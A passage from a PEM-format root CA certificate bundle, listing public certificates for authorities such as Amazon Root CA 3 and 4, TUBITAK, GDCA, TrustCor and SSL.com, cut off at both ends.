kv8LV/SasrlX6avvDXbR8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSS
btqDT6ZjmUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz7Mt0
Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6+XUyo05f7O0oYtlN
c/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI0u1ufm8/0i2BWSlmy5A5lREedCf+
3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSw
DPBMMPQFWAJI/TPlUq9LhONmUjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oA
A7CXDpO8Wqj2LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
+gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kSk5Nrp+gvU5LE
YFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl7uxMMne0nxrpS10gxdr9HIcW
xkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygmbtmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQ
gj9sAq+uEjonljYE1x2igGOpm/HlurR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbW
aQbLU8uz/mtBzUF+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoV
Yh63n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE76KlXIx3
KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H9jVlpNMKVv/1F2Rs76gi
JUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT4PsJYGw=
-----END CERTIFICATE-----

Amazon Root CA 3
================
-----BEGIN CERTIFICATE-----
MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAzMB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZB
f8ANm+gBG1bG8lKlui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjr
Zt6jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSrttvXBp43
rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkrBqWTrBqYaGFy+uGh0Psc
eGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteMYyRIHN8wfdVoOw==
-----END CERTIFICATE-----

Amazon Root CA 4
================
-----BEGIN CERTIFICATE-----
MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSA0MB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN
/sGKe0uoe0ZLY7Bi9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri
83BkM6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV
HQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WBMAoGCCqGSM49BAMDA2gA
MGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlwCkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1
AE47xDqUEpHJWEadIRNyp4iciuRMStuW1KyLa2tJElMzrdfkviT8tQp21KW8EA==
-----END CERTIFICATE-----

TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1
=============================================
-----BEGIN CERTIFICATE-----
MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIxGDAWBgNVBAcT
D0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxpbXNlbCB2ZSBUZWtub2xvamlr
IEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0wKwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24g
TWVya2V6aSAtIEthbXUgU00xNjA0BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRp
ZmlrYXNpIC0gU3VydW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYD
VQQGEwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXllIEJpbGlt
c2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklUQUsxLTArBgNVBAsTJEth
bXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBTTTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11
IFNNIFNTTCBLb2sgU2VydGlmaWthc2kgLSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAr3UwM6q7a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y8
6Ij5iySrLqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INrN3wc
wv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2XYacQuFWQfw4tJzh0
3+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/iSIzL+aFCr2lqBs23tPcLG07xxO9
WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4fAJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQU
ZT/HiobGPN08VFw1+DrtUgxHV8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJ
KoZIhvcNAQELBQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPfIPP54+M638yc
lNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4lzwDGrpDxpa5RXI4s6ehlj2R
e37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0j
q5Rm+K37DwhuJi1/FwcJsoz7UMCflo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
-----END CERTIFICATE-----

GDCA TrustAUTH R5 ROOT
======================
-----BEGIN CERTIFICATE-----
MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCQ04xMjAw
BgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8wHQYDVQQD
DBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVow
YjELMAkGA1UEBhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJjDp6L3TQs
AlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBjTnnEt1u9ol2x8kECK62p
OqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+uKU49tm7srsHwJ5uu4/Ts765/94Y9cnrr
pftZTqfrlYwiOXnhLQiPzLyRuEH3FMEjqcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ
9Cy5WmYqsBebnh52nUpmMUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQ
xXABZG12ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloPzgsM
R6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3GkL30SgLdTMEZeS1SZ
D2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeCjGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4
oR24qoAATILnsn8JuLwwoC8N9VKejveSswoAHQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx
9hoh49pwBiFYFIeFd3mqgnkCAwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlR
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZmDRd9FBUb1Ov9
H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5COmSdI31R9KrO9b7eGZONn35
6ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ryL3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd
+PwyvzeG5LuOmCd+uh8W4XAR8gPfJWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQ
HtZa37dG/OaG+svgIHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBD
F8Io2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV09tL7ECQ
8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQXR4EzzffHqhmsYzmIGrv
/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrqT8p+ck0LcIymSLumoRT2+1hEmRSuqguT
aaApJUqlyyvdimYHFngVV3Eb7PVHhPOeMTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
-----END CERTIFICATE-----

TrustCor RootCert CA-1
======================
-----BEGIN CERTIFICATE-----
MIIEMDCCAxigAwIBAgIJANqb7HHzA7AZMA0GCSqGSIb3DQEBCwUAMIGkMQswCQYDVQQGEwJQQTEP
MA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5hbWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3Ig
U3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5UcnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3Jp
dHkxHzAdBgNVBAMMFlRydXN0Q29yIFJvb3RDZXJ0IENBLTEwHhcNMTYwMjA0MTIzMjE2WhcNMjkx
MjMxMTcyMzE2WjCBpDELMAkGA1UEBhMCUEExDzANBgNVBAgMBlBhbmFtYTEUMBIGA1UEBwwLUGFu
YW1hIENpdHkxJDAiBgNVBAoMG1RydXN0Q29yIFN5c3RlbXMgUy4gZGUgUi5MLjEnMCUGA1UECwwe
VHJ1c3RDb3IgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MR8wHQYDVQQDDBZUcnVzdENvciBSb290Q2Vy
dCBDQS0xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv463leLCJhJrMxnHQFgKq1mq
jQCj/IDHUHuO1CAmujIS2CNUSSUQIpidRtLByZ5OGy4sDjjzGiVoHKZaBeYei0i/mJZ0PmnK6bV4
pQa81QBeCQryJ3pS/C3Vseq0iWEk8xoT26nPUu0MJLq5nux+AHT6k61sKZKuUbS701e/s/OojZz0
JEsq1pme9J7+wH5COucLlVPat2gOkEz7cD+PSiyU8ybdY2mplNgQTsVHCJCZGxdNuWxu72CVEY4h
gLW9oHPY0LJ3xEXqWib7ZnZ2+AYfYW0PVcWDtxBWcgYHpfOxGgMFZA6dWorWhnAbJN7+KIor0Gqw
/Hqi3LJ5DotlDwIDAQABo2MwYTAdBgNVHQ4EFgQU7mtJPHo/DeOxCbeKyKsZn3MzUOcwHwYDVR0j
BBgwFoAU7mtJPHo/DeOxCbeKyKsZn3MzUOcwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AYYwDQYJKoZIhvcNAQELBQADggEBACUY1JGPE+6PHh0RU9otRCkZoB5rMZ5NDp6tPVxBb5UrJKF5
mDo4Nvu7Zp5I/5CQ7z3UuJu0h3U/IJvOcs+hVcFNZKIZBqEHMwwLKeXx6quj7LUKdJDHfXLy11yf
ke+Ri7fc7Waiz45mO7yfOgLgJ90WmMCV1Aqk5IGadZQ1nJBfiDcGrVmVCrDRZ9MZyonnMlo2HD6C
qFqTvsbQZJG2z9m2GM/bftJlo6bEjhcxwft+dtvTheNYsnd6djtsL1Ac59v2Z3kf9YKVmgenFK+P
3CghZwnS1k1aHBkcjndcw5QkPTJrS37UeJSDvjdNzl/HHk484IkzlQsPpTLWPFp5LBk=
-----END CERTIFICATE-----

TrustCor RootCert CA-2
======================
-----BEGIN CERTIFICATE-----
MIIGLzCCBBegAwIBAgIIJaHfyjPLWQIwDQYJKoZIhvcNAQELBQAwgaQxCzAJBgNVBAYTAlBBMQ8w
DQYDVQQIDAZQYW5hbWExFDASBgNVBAcMC1BhbmFtYSBDaXR5MSQwIgYDVQQKDBtUcnVzdENvciBT
eXN0ZW1zIFMuIGRlIFIuTC4xJzAlBgNVBAsMHlRydXN0Q29yIENlcnRpZmljYXRlIEF1dGhvcml0
eTEfMB0GA1UEAwwWVHJ1c3RDb3IgUm9vdENlcnQgQ0EtMjAeFw0xNjAyMDQxMjMyMjNaFw0zNDEy
MzExNzI2MzlaMIGkMQswCQYDVQQGEwJQQTEPMA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5h
bWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3IgU3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5U
cnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxHzAdBgNVBAMMFlRydXN0Q29yIFJvb3RDZXJ0
IENBLTIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnIG7CKqJiJJWQdsg4foDSq8Gb
ZQWU9MEKENUCrO2fk8eHyLAnK0IMPQo+QVqedd2NyuCb7GgypGmSaIwLgQ5WoD4a3SwlFIIvl9Nk
RvRUqdw6VC0xK5mC8tkq1+9xALgxpL56JAfDQiDyitSSBBtlVkxs1Pu2YVpHI7TYabS3OtB0PAx1
oYxOdqHp2yqlO/rOsP9+aij9JxzIsekp8VduZLTQwRVtDr4uDkbIXvRR/u8OYzo7cbrPb1nKDOOb
XUm4TOJXsZiKQlecdu/vvdFoqNL0Cbt3Nb4lggjEFixEIFapRBF37120Hapeaz6LMvYHL1cEksr1
/p3C6eizjkxLAjHZ5DxIgif3GIJ2SDpxsROhOdUuxTTCHWKF3wP+TfSvPd9cW436cOGlfifHhi5q
jxLGhF5DUVCcGZt45vz27Ud+ez1m7xMTiF88oWP7+ayHNZ/zgp6kPwqcMWmLmaSISo5uZk3vFsQP
eSghYA2FFn3XVDjxklb9tTNMg9zXEJ9L/cb4Qr26fHMC4P99zVvh1Kxhe1fVSntb1IVYJ12/+Ctg
rKAmrhQhJ8Z3mjOAPF5GP/fDsaOGM8boXg25NSyqRsGFAnWAoOsk+xWq5Gd/bnc/9ASKL3x74xdh
8N0JqSDIvgmk0H5Ew7IwSjiqqewYmgeCK9u4nBit2uBGF6zPXQIDAQABo2MwYTAdBgNVHQ4EFgQU
2f4hQG6UnrybPZx9mCAZ5YwwYrIwHwYDVR0jBBgwFoAU2f4hQG6UnrybPZx9mCAZ5YwwYrIwDwYD
VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQELBQADggIBAJ5Fngw7tu/h
Osh80QA9z+LqBrWyOrsGS2h60COXdKcs8AjYeVrXWoSK2BKaG9l9XE1wxaX5q+WjiYndAfrs3fnp
kpfbsEZC89NiqpX+MWcUaViQCqoL7jcjx1BRtPV+nuN79+TMQjItSQzL/0kMmx40/W5ulop5A7Zv
2wnL/V9lFDfhOPXzYRZY5LVtDQsEGz9QLX+zx3oaFoBg+Iof6Rsqxvm6ARppv9JYx1RXCI/hOWB3
S6xZhBqI8d3LT3jX5+EzLfzuQfogsL7L9ziUwOHQhQ+77Sxzq+3+knYaZH9bDTMJBzN7Bj8RpFxw
PIXAz+OQqIN3+tvmxYxoZxBnpVIt8MSZj3+/0WvitUfW2dCFmU2Umw9Lje4AWkcdEQOsQRivh7dv
DDqPys/cA8GiCcjl/YBeyGBCARsaU1q7N6a3vLqE6R5sGtRk2tRD/pOLS/IseRYQ1JMLiI+h2IYU
RpFHmygk71dSTlxCnKr3Sewn6EAes6aJInKc9Q0ztFijMDvd1GpUk74aTfOTlPf8hAs/hCBcNANE
xdqtvArBAs8e5ZTZ845b2EzwnexhF7sUMlQMAimTHpKG9n/v55IFDlndmQguLvqcAFLTxWYp5KeX
RKQOKIETNcX2b2TmQcTVL8w0RSXPQQCWPUouwpaYT05KnJe32x+SMsj/D1Fu1uwJ
-----END CERTIFICATE-----

TrustCor ECA-1
==============
-----BEGIN CERTIFICATE-----
MIIEIDCCAwigAwIBAgIJAISCLF8cYtBAMA0GCSqGSIb3DQEBCwUAMIGcMQswCQYDVQQGEwJQQTEP
MA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5hbWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3Ig
U3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5UcnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3Jp
dHkxFzAVBgNVBAMMDlRydXN0Q29yIEVDQS0xMB4XDTE2MDIwNDEyMzIzM1oXDTI5MTIzMTE3Mjgw
N1owgZwxCzAJBgNVBAYTAlBBMQ8wDQYDVQQIDAZQYW5hbWExFDASBgNVBAcMC1BhbmFtYSBDaXR5
MSQwIgYDVQQKDBtUcnVzdENvciBTeXN0ZW1zIFMuIGRlIFIuTC4xJzAlBgNVBAsMHlRydXN0Q29y
IENlcnRpZmljYXRlIEF1dGhvcml0eTEXMBUGA1UEAwwOVHJ1c3RDb3IgRUNBLTEwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDPj+ARtZ+odnbb3w9U73NjKYKtR8aja+3+XzP4Q1HpGjOR
MRegdMTUpwHmspI+ap3tDvl0mEDTPwOABoJA6LHip1GnHYMma6ve+heRK9jGrB6xnhkB1Zem6g23
xFUfJ3zSCNV2HykVh0A53ThFEXXQmqc04L/NyFIduUd+Dbi7xgz2c1cWWn5DkR9VOsZtRASqnKmc
p0yJF4OuowReUoCLHhIlERnXDH19MURB6tuvsBzvgdAsxZohmz3tQjtQJvLsznFhBmIhVE5/wZ0+
fyCMgMsq2JdiyIMzkX2woloPV+g7zPIlstR8L+xNxqE6FXrntl019fZISjZFZtS6mFjBAgMBAAGj
YzBhMB0GA1UdDgQWBBREnkj1zG1I1KBLf/5ZJC+Dl5mahjAfBgNVHSMEGDAWgBREnkj1zG1I1KBL
f/5ZJC+Dl5mahjAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsF
AAOCAQEABT41XBVwm8nHc2FvcivUwo/yQ10CzsSUuZQRg2dd4mdsdXa/uwyqNsatR5Nj3B5+1t4u
/ukZMjgDfxT2AHMsWbEhBuH7rBiVDKP/mZb3Kyeb1STMHd3BOuCYRLDE5D53sXOpZCz2HAF8P11F
hcCF5yWPldwX8zyfGm6wyuMdKulMY/okYWLW2n62HGz1Ah3UKt1VkOsqEUc8Ll50soIipX1TH0Xs
J5F95yIW6MBoNtjG8U+ARDL54dHRHareqKucBK+tIA5kmE2la8BIWJZpTdwHjFGTot+fDz2LYLSC
jaoITmJF4PkL0uDgPFveXHEnJcLmA4GLEFPjx1WitJ/X5g==
-----END CERTIFICATE-----

SSL.com Root Certification Authority RSA
========================================
-----BEGIN CERTIFICATE-----
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
WuuA8ShYIc2wBlX7Jz9TkHCpBB5XJ7k=
-----END CERTIFICATE-----

SSL.com Root Certification Authority ECC
========================================
-----BEGIN CERTIFICATE-----
MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xMTAv
BgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEy
MTgxNDAzWhcNNDEwMjEyMTgxNDAzWjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAO
BgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI7Z4INcgn64mMU1jrYor+
8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPgCemB+vNH06NjMGEwHQYDVR0OBBYEFILR
hXMw5zUE044CkvvlpNHEIejNMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTT
jgKS++Wk0cQh6M0wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCW
e+0F+S8Tkdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+gA0z
5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority RSA R2
==============================================
-----BEGIN CERTIFICATE-----
MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4w
DAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9u
MTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy
MB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQI
DAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD
VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jh
hqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w
cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTO
Zw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+
B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9Zh
CBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim
9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECto
RHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+Slm
JuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48
